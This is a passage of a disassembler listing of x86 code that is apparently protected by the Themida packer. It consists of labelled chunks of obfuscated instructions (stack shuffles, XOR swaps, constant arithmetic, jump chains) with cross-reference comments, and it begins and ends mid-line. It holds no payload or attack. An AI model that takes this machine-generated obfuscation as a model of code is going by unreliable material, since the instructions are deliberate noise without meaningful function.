edx, [esp] xor [esp], edx jmp loc_57147A ; --------------------------------------------------------------------------- loc_571095: ; CODE XREF: Themida_:005604F4j inc eax not eax inc eax jmp loc_5662CD ; --------------------------------------------------------------------------- loc_57109E: ; CODE XREF: Themida_:00561662j mov eax, 0E065928h xor eax, 7B1C4F1Dh or eax, 591B00E8h jmp loc_562A5A ; --------------------------------------------------------------------------- loc_5710B2: ; CODE XREF: Themida_:0056C741j add esp, 4 jmp loc_56B8CC ; --------------------------------------------------------------------------- loc_5710BD: ; CODE XREF: Themida_:005636C9j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5710C2: ; CODE XREF: Themida_:005630DCj sub edx, ebp add edx, 44C1192Fh pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_56519A ; --------------------------------------------------------------------------- loc_5710DC: ; CODE XREF: Themida_:00563555j pop ebx xor ebp, 37CE0F50h and ebp, 5B5B3266h and ebp, 660D1867h push esi jmp loc_56B5DC ; --------------------------------------------------------------------------- loc_5710F5: ; CODE XREF: Themida_:00571419j sub ebp, 687D1BF4h xor esi, ebp pop ebp push esi jmp loc_561B7E ; --------------------------------------------------------------------------- loc_571104: ; CODE XREF: Themida_:0056B433j xchg eax, [esp] push eax jmp loc_572AEF ; --------------------------------------------------------------------------- loc_57110D: ; CODE XREF: Themida_:00563BEEj mov dh, 58h sub dh, 0BBh or dh, 21h push ax mov ah, 7Ah add dh, ah pop ax sub ch, dh pop edx push edx push ebx mov bl, ch mov dh, bl pop ebx jmp loc_56C177 ; --------------------------------------------------------------------------- loc_57112C: ; CODE XREF: Themida_:00561F13j pop dword ptr [esp] jmp loc_55F58F ; --------------------------------------------------------------------------- loc_571134: ; CODE XREF: Themida_:0056B1D6j sub esp, 4 jmp loc_565C9E ; --------------------------------------------------------------------------- loc_57113F: ; CODE XREF: Themida_:0055DB92j add edi, ebp mov ebp, [esp] add esp, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, 929162Dh xor eax, ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx push 0EE3h mov [esp], edx push esi jmp loc_56EC2C ; --------------------------------------------------------------------------- loc_571190: ; CODE XREF: Themida_:00563B3Ej add ebx, 3EAE0467h jmp loc_56FFCE ; --------------------------------------------------------------------------- loc_57119B: ; CODE XREF: Themida_:005696A4j add esp, 2 jmp loc_571D55 ; --------------------------------------------------------------------------- loc_5711A6: ; CODE XREF: Themida_:0056F1FEj push esi mov esi, edi mov ebx, esi pop esi mov edi, [esp] add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5711BA: ; CODE XREF: Themida_:0055FB5Ej pop dword ptr [esp] pop esp jmp loc_56EFFC ; --------------------------------------------------------------------------- loc_5711C3: ; CODE XREF: Themida_:00569FC4j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55EB72 ; --------------------------------------------------------------------------- loc_5711D4: ; CODE XREF: Themida_:0056DE64j push edx mov edx, 29FC1ACDh sub edi, 19BD050Fh sub edi, 501B45A3h add edi, edx add edi, 501B45A3h push ebp mov ebp, 4C69796Ch jmp loc_56468D ; --------------------------------------------------------------------------- loc_5711F9: ; CODE XREF: Themida_:0056CD73j mov eax, [esp] add esp, 4 jmp loc_566758 ; --------------------------------------------------------------------------- loc_571204: ; CODE XREF: Themida_:0056B828j add esp, 4 or eax, eax jz loc_56E78D push dword ptr [edi+1Ch] push ebp mov ebp, 59C8200Ch xor [esp+4], ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55FDCD ; --------------------------------------------------------------------------- loc_571239: ; CODE XREF: Themida_:00567F5Fj mov esi, [esp] add esp, 4 push eax mov eax, 5D364E75h and ecx, eax jmp loc_5620AF ; --------------------------------------------------------------------------- loc_57124F: ; CODE XREF: Themida_:00571326j mov ebp, 79D94B18h xchg esi, ebp not esi xchg esi, ebp jmp loc_570F60 ; --------------------------------------------------------------------------- loc_57125F: ; CODE XREF: Themida_:00570E4Dj movzx cx, al push cx pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_57126B: ; CODE XREF: Themida_:00563181j add edi, 0EEFEA406h jmp loc_560102 ; --------------------------------------------------------------------------- loc_571276: ; CODE XREF: Themida_:00566888j sub dword ptr [esp+4], 1CF52255h jmp loc_571A1F ; --------------------------------------------------------------------------- loc_571283: ; CODE XREF: Themida_:0056C632j push ecx mov ecx, 6FEE24C6h shr ecx, 1 jmp loc_56F043 ; --------------------------------------------------------------------------- loc_571290: ; CODE XREF: Themida_:00570F36j mov [esp], ebx push ecx jmp loc_562553 ; --------------------------------------------------------------------------- loc_571299: ; CODE XREF: Themida_:00569453j mov ebp, 7DE739F2h xor ebp, 747B479Fh jmp loc_571D03 ; --------------------------------------------------------------------------- loc_5712A9: ; CODE XREF: Themida_:0056276Fj mov edi, 17B4033Fh push ebp push 0E105895h pop ebp sub ebp, 0E95845EBh jmp loc_56020D ; --------------------------------------------------------------------------- loc_5712C0: ; CODE XREF: Themida_:005684C3j push 70B8h mov [esp], esi xor [esp], ebx xor ebx, [esp] xor [esp], ebx jmp loc_569263 ; --------------------------------------------------------------------------- loc_5712D6: ; CODE XREF: Themida_:00565979j sub edx, 2E34457h jmp loc_55FF2D ; --------------------------------------------------------------------------- loc_5712E1: ; CODE XREF: Themida_:0055FF36j sub edx, 307E6E10h add edx, 36E12CB2h push ecx jmp loc_56D54E ; --------------------------------------------------------------------------- loc_5712F3: ; CODE XREF: Themida_:00560C81j mov edx, 530B5413h jmp loc_5690F0 ; --------------------------------------------------------------------------- loc_5712FD: ; CODE XREF: Themida_:00562C6Cj push eax mov eax, 34C95656h xor eax, 0CE10E672h xor esi, eax mov eax, [esp] add esp, 4 add edx, 36133D5Dh jmp loc_55E3F6 ; --------------------------------------------------------------------------- loc_57131E: ; CODE XREF: Themida_:0055E93Ej pop ebp xor ebx, ecx pop ecx not ebx inc ebx push ebp jmp loc_57124F ; --------------------------------------------------------------------------- loc_57132B: ; CODE XREF: Themida_:0055E15Ej mov [esp], ax push edx mov dh, 0Fh mov al, 17h add al, dh jmp loc_55DA4F ; --------------------------------------------------------------------------- loc_57133B: ; CODE XREF: Themida_:00561F75j not ebx shr ebx, 5 add ebx, 44A74499h add eax, ebx jmp loc_571587 ; --------------------------------------------------------------------------- loc_57134D: ; CODE XREF: Themida_:0056D8B7j mov edi, esp jmp loc_56CC4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_571354: ; CODE XREF: sub_59DB3D-2CD4Ej add al, 60h sub al, ch sub al, 60h sub al, 93h mov ecx, [esp+0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+32h+var_32] pop esp add al, 36h sub al, bl push ebx mov bh, 36h sub al, bh pop ebx sub esp, 4 jmp loc_56AB8C ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_571387: ; CODE XREF: Themida_:00568C17j sub edx, 28D761C1h pop ebp push esi mov esi, 4 add edx, esi pop esi xor edx, [esp] xor [esp], edx jmp loc_55FD0F ; --------------------------------------------------------------------------- loc_5713A2: ; CODE XREF: Themida_:00561C18j mov [esp], edx jmp loc_5726CC ; --------------------------------------------------------------------------- loc_5713AA: ; CODE XREF: Themida_:0055DC25j neg cl inc cl push edx mov dh, 53h and dh, 4 push edx neg byte ptr [esp+1] jmp loc_566230 ; --------------------------------------------------------------------------- loc_5713BE: ; CODE XREF: Themida_:00568BDEj pop edi add esp, 4 jmp loc_55FD71 ; --------------------------------------------------------------------------- loc_5713CA: ; CODE XREF: Themida_:00563FE2j add ch, 1 sub ch, 0D7h shr ch, 3 push edx mov dh, 0D6h jmp loc_56C184 ; --------------------------------------------------------------------------- loc_5713DB: ; CODE XREF: Themida_:00562403j sub dl, 1 shr dl, 1 push eax jmp loc_56D032 ; --------------------------------------------------------------------------- loc_5713E6: ; CODE XREF: Themida_:00568978j pop dword ptr [esp] mov esp, [esp] mov [esp], esi jmp loc_5669AD ; --------------------------------------------------------------------------- loc_5713F4: ; CODE XREF: Themida_:005680D3j push 7C67h jmp loc_567ADA ; --------------------------------------------------------------------------- loc_5713FE: ; CODE XREF: Themida_:005682BAj xchg ebp, [esp] pop esp jmp loc_571BAF ; --------------------------------------------------------------------------- loc_571407: ; CODE XREF: Themida_:00568FB4j sub esi, 2 jmp loc_566C63 ; --------------------------------------------------------------------------- loc_57140F: ; CODE XREF: Themida_:0056309Cj mov ebp, edi pop edi dec ebp or ebp, 1BC93373h jmp loc_5710F5 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi push esp mov edi, [esp] jmp loc_55E7F3 ; --------------------------------------------------------------------------- loc_571431: ; CODE XREF: Themida_:00568FAEj add ebx, 4 jmp loc_568F0D ; --------------------------------------------------------------------------- loc_57143C: ; CODE XREF: Themida_:00565A64j mov edi, 0FFFFFFFFh add esi, 61D8448Dh add esi, edi sub esi, 61D8448Dh jmp loc_55E972 ; --------------------------------------------------------------------------- loc_571454: ; CODE XREF: Themida_:0056E1FEj sub esp, 4 jmp loc_56C1C4 ; --------------------------------------------------------------------------- loc_57145C: ; CODE XREF: Themida_:00570489j or ebp, 6C6401A4h push esi jmp loc_565C6B ; --------------------------------------------------------------------------- loc_571468: ; CODE XREF: Themida_:0056D3BFj sub ebx, 51A905E0h jmp loc_566DB0 ; --------------------------------------------------------------------------- loc_571473: ; CODE XREF: Themida_:0057182Bj xor al, dh jmp loc_56358B ; --------------------------------------------------------------------------- loc_57147A: ; CODE XREF: Themida_:00571090j xor edx, [esp] mov esp, [esp] push 6E9Fh mov [esp], edx push 1 pop edx jmp loc_569476 ; --------------------------------------------------------------------------- loc_571493: ; CODE XREF: Themida_:00568E71j mov [esp], eax jmp loc_571647 ; --------------------------------------------------------------------------- loc_57149B: ; CODE XREF: Themida_:00563E86j push ebp push ebx mov ebx, 3003313Fh jmp loc_56CAE4 ; --------------------------------------------------------------------------- loc_5714A7: ; CODE XREF: Themida_:00563E0Bj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5714AC: ; CODE XREF: Themida_:0056D114j push ecx mov ecx, 4 add edx, ecx pop ecx push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] jmp loc_564065 ; --------------------------------------------------------------------------- loc_5714C6: ; CODE XREF: Themida_:00568BE4j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 80h push eax push edx jmp loc_568578 ; --------------------------------------------------------------------------- loc_5714E7: ; CODE XREF: Themida_:00564FD2j shl cl, 8 xor cl, 0CFh mov dl, cl pop ecx jmp loc_569226 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0B2685524h, 0E9000028h, 0FFFF761Ch ; --------------------------------------------------------------------------- loc_571504: ; CODE XREF: Themida_:0055EC22j add esi, 166119B9h pop ecx jmp loc_562568 ; --------------------------------------------------------------------------- loc_571510: ; CODE XREF: Themida_:00568A03j mov eax, 4E9103F5h xor eax, 4E9103F1h jmp loc_5641E4 ; --------------------------------------------------------------------------- loc_57151F: ; CODE XREF: Themida_:0056D676j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_571534: ; CODE XREF: Themida_:0056B4A9j sub ebp, eax pop eax sub edx, ebp mov ebp, [esp] add esp, 4 jmp loc_562049 ; --------------------------------------------------------------------------- loc_571544: ; CODE XREF: Themida_:0056F527j pop esi sub ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] mov [esp], eax push esp pop eax add eax, 4 sub esp, 4 mov [esp], ebx push 2 jmp loc_5664BA ; --------------------------------------------------------------------------- loc_571568: ; CODE XREF: Themida_:0056D451j add ebx, 4 xchg ebx, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mul cx push small 761Bh jmp loc_56063B ; --------------------------------------------------------------------------- loc_571587: ; CODE XREF: Themida_:00571348j pop ebx pop ecx push 70B5h mov [esp], ecx push esp mov ecx, [esp] jmp loc_565F86 ; --------------------------------------------------------------------------- loc_57159A: ; CODE XREF: Themida_:005695A6j add ecx, edi pop edi mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56D6C5 ; --------------------------------------------------------------------------- loc_5715B4: ; CODE XREF: Themida_:0056EDF8j mov edx, esp add edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] pop esp mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax push dword ptr [esp] pop edx add esp, 4 jmp loc_56EB14 ; --------------------------------------------------------------------------- loc_5715EB: ; CODE XREF: Themida_:005676C6j xor edx, esi jmp loc_5697EF ; --------------------------------------------------------------------------- loc_5715F2: ; CODE XREF: Themida_:00564081j push ebp push 19F9h mov [esp], esp jmp loc_570510 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_55D359 ; --------------------------------------------------------------------------- loc_57161D: ; CODE XREF: Themida_:00561CDBj mov [esp], ecx mov ecx, 5DB46B96h shr ecx, 6 shl ecx, 2 xor ecx, 7EC57CCh sub ebx, 681331E8h sub ebx, ecx push edx jmp loc_564979 ; --------------------------------------------------------------------------- loc_57163F: ; CODE XREF: Themida_:005601E9j mov [esp], ecx jmp loc_56F078 ; --------------------------------------------------------------------------- loc_571647: ; CODE XREF: Themida_:00571496j mov eax, 65083FA5h sub esi, eax pop eax and esi, 71862E89h push ebx jmp loc_568EBA ; --------------------------------------------------------------------------- loc_57165B: ; CODE XREF: Themida_:00564E67j add ebx, esi mov esi, [esp] jmp loc_55EAE8 ; --------------------------------------------------------------------------- loc_571665: ; CODE XREF: Themida_:00561DE3j or edi, 63861811h and edi, 21AA3A97h jmp loc_563B43 ; =============== S U B R O U T I N E ======================================= sub_571676 proc near ; CODE XREF: sub_59DB3D-3ED64j ; FUNCTION CHUNK AT 0056E6C3 SIZE 00000008 BYTES sub esp, 4 jmp loc_56E6C3 sub_571676 endp ; --------------------------------------------------------------------------- loc_57167E: ; CODE XREF: Themida_:00571A0Ej pop dword ptr [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_57168E: ; CODE XREF: Themida_:00570843j mov bl, 0F8h jmp loc_55D418 ; --------------------------------------------------------------------------- loc_571695: ; CODE XREF: Themida_:00571B6Bj shr cl, 6 push ebx mov bh, 2Ah and cl, bh push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push bx mov bh, 36h sub cl, bh pop bx sub cl, 4Dh sub esp, 4 jmp loc_57217D ; --------------------------------------------------------------------------- loc_5716C7: ; CODE XREF: Themida_:00564253j xor esi, 6BBE4B7Fh sub ebx, esi pop esi xor ebx, 0CEF98560h sub esp, 4 mov [esp], ebx add dword ptr [esp], 7BD27926h jmp loc_56A665 ; --------------------------------------------------------------------------- loc_5716E8: ; CODE XREF: Themida_:0056ED53j mov edx, esp add edx, 4 add edx, 4 jmp loc_571AF4 ; --------------------------------------------------------------------------- loc_5716F8: ; CODE XREF: Themida_:0055DCACj pop esp movsx cx, al push 4236h mov [esp], ebx push 196Bh mov [esp], esp add dword ptr [esp], 4 pop ebx push 25BEh mov [esp], eax jmp loc_56646C ; --------------------------------------------------------------------------- loc_57171F: ; CODE XREF: Themida_:0055DBBFj push edi pop esi push dword ptr [esp] pop edi push ebx mov ebx, esp push edi mov edi, 5AB71663h not edi jmp loc_565AC9 ; --------------------------------------------------------------------------- loc_571735: ; CODE XREF: Themida_:00565E63j push ebx mov ebx, 2CD35007h push 4825h mov [esp], ebp jmp loc_567A3E ; --------------------------------------------------------------------------- loc_571748: ; CODE XREF: Themida_:0055F71Bj sub esp, 4 mov [esp], ebp push eax mov eax, 54634E14h inc eax sub eax, 7D702C18h shl eax, 3 jmp loc_572504 ; --------------------------------------------------------------------------- loc_571765: ; CODE XREF: Themida_:00561AA1j add ecx, 1 push eax mov eax, 593D6CAFh xor ecx, eax pop eax or ecx, 65473CFBh xor ecx, 7C00EEFEh add eax, ecx jmp loc_5636C0 ; --------------------------------------------------------------------------- loc_571787: ; CODE XREF: Themida_:0055D550j and edx, 7B7E6960h shr edx, 3 jmp loc_56908F ; --------------------------------------------------------------------------- loc_571795: ; CODE XREF: Themida_:00564016j push ebx mov ebx, 6B3974D7h or ecx, ebx jmp loc_564E6C ; --------------------------------------------------------------------------- loc_5717A2: ; CODE XREF: Themida_:0057215Cj push ebp mov ebp, 7C8F7B83h mov esi, ebp pop ebp jmp loc_5651D9 ; --------------------------------------------------------------------------- loc_5717B0: ; CODE XREF: Themida_:0056AFDCj push eax push ebp mov ebp, 37255B80h mov eax, ebp pop ebp push esi jmp loc_56788A ; --------------------------------------------------------------------------- loc_5717C0: ; CODE XREF: Themida_:00560251j xor ebx, 364A4B45h mov edi, ebx pop ebx xor edi, 1FF14CF7h push esi mov esi, 0C6F1FE7h xor esi, 304F7B49h jmp loc_55FCDC ; --------------------------------------------------------------------------- loc_5717E0: ; CODE XREF: Themida_:005608CDj sub [esp+8], edx pop edx sub dword ptr [esp+4], 2F855D9h jmp loc_56501C ; --------------------------------------------------------------------------- loc_5717F2: ; CODE XREF: Themida_:0056D3B4j pop ebp neg ebp neg ebp xor ebp, 98B01EFh xor ebp, 594A5F9Eh mov edx, ebp pop ebp inc edx shl edx, 8 jmp loc_5700DE ; --------------------------------------------------------------------------- loc_57180F: ; CODE XREF: Themida_:005708FEj xor ebx, 0C471462h push edi mov edi, ebx mov eax, edi mov edi, [esp] add esp, 4 jmp loc_55DE3B ; --------------------------------------------------------------------------- loc_571828: ; CODE XREF: Themida_:00570CD7j pop ebx mov al, 10h jmp loc_571473 ; --------------------------------------------------------------------------- loc_571830: ; CODE XREF: Themida_:00566066j add esp, 4 push edx sub esp, 4 mov [esp], esi mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi push eax jmp loc_561BF8 ; --------------------------------------------------------------------------- mov ax, [esp] push 39F4h mov [esp], eax push 5D4h mov [esp], esp add dword ptr [esp], 4 pop eax push ebp jmp loc_56D39E ; --------------------------------------------------------------------------- loc_57186F: ; CODE XREF: Themida_:005635E0j add esp, 4 jmp loc_5690B8 ; --------------------------------------------------------------------------- loc_57187A: ; CODE XREF: Themida_:0055F823j mov esp, [esp] mov [esp], ax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_571886: ; CODE XREF: Themida_:0056C6FDj xor ecx, [edi+24h] push ebx push esi mov esi, 2FBC65BAh mov ebx, 2FBC659Eh xor ebx, esi pop esi add ebx, edi push eax mov eax, 0 add eax, ebx push ebx mov ebx, 0 add ebx, eax xor [ebx], ecx pop ebx pop eax jmp loc_56B7BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_5718B3: ; CODE XREF: sub_59DB3D-32FAEj mov bh, 41h sub bh, 1Fh push edx mov dh, 7 not dh jmp loc_5701F9 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- mov cx, [esp] push eax jmp loc_566AF0 ; --------------------------------------------------------------------------- loc_5718CC: ; CODE XREF: Themida_:005701E6j pop esi add edx, 52F33B1Bh sub edx, 29B64EA5h add edx, ebp jmp loc_565A88 ; --------------------------------------------------------------------------- loc_5718E0: ; CODE XREF: Themida_:00561656j push esi mov esi, 4D797883h neg esi xor esi, 0CD798A73h jmp loc_56D38C ; --------------------------------------------------------------------------- loc_5718F3: ; CODE XREF: Themida_:005617E4j mov esp, [esp] imul ecx sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_56E067 ; --------------------------------------------------------------------------- loc_57190D: ; CODE XREF: Themida_:005613EFj xor eax, [esp] mov esp, [esp] push 412Ch mov [esp], eax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_571920: ; CODE XREF: Themida_:00568F16j pop esp mov [esp], ebx mov bl, 80h sub al, bl pop ebx add al, 23h jmp loc_569EBF ; --------------------------------------------------------------------------- loc_571930: ; CODE XREF: Themida_:00566934j sub ebx, 4AFC0507h dec ebx sub ebx, 0FFFFFFFFh add ebx, 0E62FE1CDh add ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 4 jmp loc_56FE00 ; --------------------------------------------------------------------------- loc_571956: ; CODE XREF: Themida_:00564236j pop edi jmp loc_56C660 ; --------------------------------------------------------------------------- loc_57195C: ; CODE XREF: Themida_:0056ED5Cj push ecx mov ecx, 7C7E3533h or ecx, 0FDB30C4h dec ecx xchg eax, ecx inc eax jmp loc_55DECB ; --------------------------------------------------------------------------- loc_571970: ; CODE XREF: Themida_:0056C86Fj pop esp mov [esp], ebx push esi push 54B663BFh jmp loc_56774B ; --------------------------------------------------------------------------- loc_57197F: ; CODE XREF: Themida_:0055DD81j mov ebx, 4C931443h mov eax, 533C7CCAh xor eax, ebx pop ebx or eax, 46E85D56h xor eax, 38923FC4h sub eax, 0FFFFFFFFh shl eax, 8 shr eax, 1 push ecx mov ecx, 702F3247h shr ecx, 6 neg ecx add ecx, 2D4778CDh sub eax, ecx pop ecx add ebp, 588F5D72h jmp loc_561F81 ; --------------------------------------------------------------------------- loc_5719BD: ; CODE XREF: Themida_:0056253Bj push 2669h jmp loc_563D9B ; --------------------------------------------------------------------------- loc_5719C7: ; CODE XREF: Themida_:005669B2j mov esi, [esp] push 734Bh mov [esp], eax jmp loc_55DC3E ; --------------------------------------------------------------------------- loc_5719D7: ; CODE XREF: Themida_:005675E3j push esi push esp pop esi push edx mov edx, 58BD54F8h dec edx jmp loc_56274C ; --------------------------------------------------------------------------- loc_5719E6: ; CODE XREF: Themida_:0055F5FCj shl ebx, 2 sub ebx, 58C19731h sub esi, ebx pop ebx add eax, esi mov esi, [esp] jmp loc_568216 ; --------------------------------------------------------------------------- loc_5719FC: ; CODE XREF: Themida_:0056C3D1j pop ecx add edi, 2 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_57167E ; --------------------------------------------------------------------------- loc_571A13: ; CODE XREF: Themida_:0055E210j sub ecx, 7D3B6807h inc ecx jmp loc_56698A ; --------------------------------------------------------------------------- loc_571A1F: ; CODE XREF: Themida_:0057127Ej add [esp+4], edi jmp loc_562661 ; --------------------------------------------------------------------------- loc_571A28: ; CODE XREF: Themida_:005701D9j add esp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5602C4 ; --------------------------------------------------------------------------- loc_571A3F: ; CODE XREF: Themida_:00570969j sub ebx, 305B2AF0h push 9A4h jmp loc_56D0C8 ; --------------------------------------------------------------------------- loc_571A4F: ; CODE XREF: Themida_:00570BB0j push ecx mov ecx, 3E5C34FBh add edx, ecx pop ecx sub edx, 6BAB1204h jmp loc_56CE31 ; --------------------------------------------------------------------------- loc_571A63: ; CODE XREF: Themida_:0056E7A0j add edi, 2CC57D80h pop ecx jmp loc_5689EB ; --------------------------------------------------------------------------- loc_571A6F: ; CODE XREF: Themida_:005706F7j mov esp, [esp] push 1B8Eh mov [esp], edx jmp loc_570607 ; --------------------------------------------------------------------------- loc_571A7F: ; CODE XREF: Themida_:00567746j push eax mov eax, esp add eax, 4 add eax, 2 jmp loc_55EE16 ; --------------------------------------------------------------------------- loc_571A8F: ; CODE XREF: Themida_:0056706Aj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_571A94: ; CODE XREF: Themida_:0056AB31j sub esi, edx pop edx mov ebp, [esp] add esp, 4 push ebp mov ebp, 2 jmp loc_5614D1 ; --------------------------------------------------------------------------- loc_571AAB: ; CODE XREF: Themida_:00562C58j mov ebp, edx jmp loc_560CB8 ; --------------------------------------------------------------------------- loc_571AB2: ; CODE XREF: Themida_:005619C1j mov edx, 24h add edx, edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55FC44 ; --------------------------------------------------------------------------- loc_571AD0: ; CODE XREF: Themida_:0056A660j pop dword ptr [esp] pop esp push 0C17h mov [esp], edx mov edx, esp add edx, 4 push esi mov esi, 4 add edx, esi mov esi, [esp] jmp loc_56B7CE ; --------------------------------------------------------------------------- loc_571AF4: ; CODE XREF: Themida_:005716F3j xchg edx, [esp] pop esp pop esi jmp loc_55F513 ; --------------------------------------------------------------------------- loc_571AFE: ; CODE XREF: Themida_:00570046j push 17705D5Ch jmp loc_56C3A6 ; --------------------------------------------------------------------------- loc_571B08: ; CODE XREF: Themida_:0056D02Dj add eax, 4 jmp loc_568D28 ; --------------------------------------------------------------------------- loc_571B12: ; CODE XREF: Themida_:00565F31j pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_571B1E: ; CODE XREF: Themida_:0056B839j push dword ptr [esp] pop ebx push ebp mov ebp, esp sub esp, 4 mov [esp], edx mov edx, 431B68DEh sub edx, 7C71634Ch push ecx mov ecx, 13CE7934h jmp loc_564046 ; --------------------------------------------------------------------------- loc_571B41: ; CODE XREF: Themida_:005669D1j pop edi sub esp, 4 jmp loc_55DD96 ; --------------------------------------------------------------------------- loc_571B4A: ; CODE XREF: Themida_:005601DFj add esp, 4 push ecx push dword ptr [esp+4] jmp loc_565E08 ; --------------------------------------------------------------------------- loc_571B57: ; CODE XREF: Themida_:0056AC08j pop edx xor dl, bl push dword ptr [esp] jmp loc_56A690 ; --------------------------------------------------------------------------- loc_571B62: ; CODE XREF: Themida_:005661ADj add esp, 4 add cl, 0FFh jmp loc_571695 ; --------------------------------------------------------------------------- loc_571B70: ; CODE XREF: Themida_:00568522j add esp, 4 push edi mov edi, 22D1594Bh add edi, 28B9591Bh neg edi not edi sub edi, 0CF68451Eh add ebx, edi pop edi push ecx mov ecx, 6D3A4F84h inc ecx push edi mov edi, 52640572h xor ecx, edi jmp loc_560AEE ; --------------------------------------------------------------------------- loc_571BA0: ; CODE XREF: Themida_:00566771j pop ebx add ebx, 4 add ebx, 4 jmp loc_56A48C ; --------------------------------------------------------------------------- loc_571BAF: ; CODE XREF: Themida_:00571402j add bh, 9Bh neg bh jmp loc_56B19A ; --------------------------------------------------------------------------- loc_571BB9: ; CODE XREF: Themida_:0056B168j pop eax xor esi, 6B961D38h and esi, 652748BDh jmp loc_563095 ; --------------------------------------------------------------------------- loc_571BCB: ; CODE XREF: Themida_:0056CE42j push ecx mov cl, 4Eh mov dl, cl pop ecx jmp loc_5644F6 ; --------------------------------------------------------------------------- loc_571BD6: ; CODE XREF: Themida_:0056FF36j mov [esp], ecx mov ecx, esp push edi mov edi, 61EE633Bh jmp loc_565091 ; --------------------------------------------------------------------------- loc_571BE6: ; CODE XREF: Themida_:005643CFj pop ecx sub bl, 3Bh add bl, dh add bl, 3Bh pop edx push 782Ah jmp loc_561FF6 ; --------------------------------------------------------------------------- loc_571BFA: ; CODE XREF: Themida_:0056D7C9j sub edi, ebp pop ebp sub edi, 767379FDh sub edi, 67D00A6Fh pop ebp jmp loc_567D72 ; --------------------------------------------------------------------------- loc_571C0F: ; CODE XREF: Themida_:0056513Aj add edi, 4 push ebp mov ebp, 4 jmp loc_568078 ; --------------------------------------------------------------------------- loc_571C20: ; CODE XREF: Themida_:0056A6F9j add bl, 55h jmp loc_5626E8 ; --------------------------------------------------------------------------- loc_571C28: ; CODE XREF: Themida_:0056BDEFj mov esp, [esp] jmp loc_56DF0B ; --------------------------------------------------------------------------- loc_571C30: ; CODE XREF: Themida_:005630A4j xor ebp, [esp] jmp loc_56BCD5 ; --------------------------------------------------------------------------- loc_571C38: ; CODE XREF: Themida_:0056C40Dj pop ecx add esi, ebp pop ebp dec esi push ebx jmp loc_55F5F1 ; --------------------------------------------------------------------------- loc_571C43: ; CODE XREF: Themida_:0056FFB3j sub eax, 4C6D6055h add eax, 76334CF2h sub eax, ebx jmp loc_565289 ; --------------------------------------------------------------------------- loc_571C54: ; CODE XREF: Themida_:0056F635j add bl, ch jmp loc_55F69A ; --------------------------------------------------------------------------- loc_571C5B: ; CODE XREF: Themida_:0055FEE0j add edx, ebp add edx, 292E408Ah add edx, 73A761Ah pop ebp jmp loc_569B8C ; --------------------------------------------------------------------------- loc_571C6F: ; CODE XREF: Themida_:0056E5FEj not esi jmp loc_567113 ; --------------------------------------------------------------------------- loc_571C76: ; CODE XREF: Themida_:00570CECj xor edx, ebx pop ebx jmp loc_567E2A ; --------------------------------------------------------------------------- loc_571C7E: ; CODE XREF: Themida_:0055ED1Aj xchg eax, [esp] pop esp add eax, 4 xchg eax, [esp] mov esp, [esp] push 3402h mov [esp], ecx mov ecx, esp jmp loc_56CB3B ; --------------------------------------------------------------------------- loc_571C9A: ; CODE XREF: Themida_:00570B19j mov ebx, [esp] add esp, 4 push eax push ebp jmp loc_565A20 ; --------------------------------------------------------------------------- loc_571CA7: ; CODE XREF: Themida_:00566103j push ebp mov ebp, 77AE5B54h jmp loc_5696F8 ; --------------------------------------------------------------------------- loc_571CB2: ; CODE XREF: Themida_:00567DADj push edx mov edx, 7ED26FA3h xor edx, 7ED26FA7h jmp loc_56065C ; --------------------------------------------------------------------------- loc_571CC3: ; CODE XREF: Themida_:00569A09j push esi jmp loc_570E9F ; --------------------------------------------------------------------------- loc_571CC9: ; CODE XREF: Themida_:0056B796j mov [esp], esi jmp loc_562BF7 ; --------------------------------------------------------------------------- loc_571CD1: ; CODE XREF: 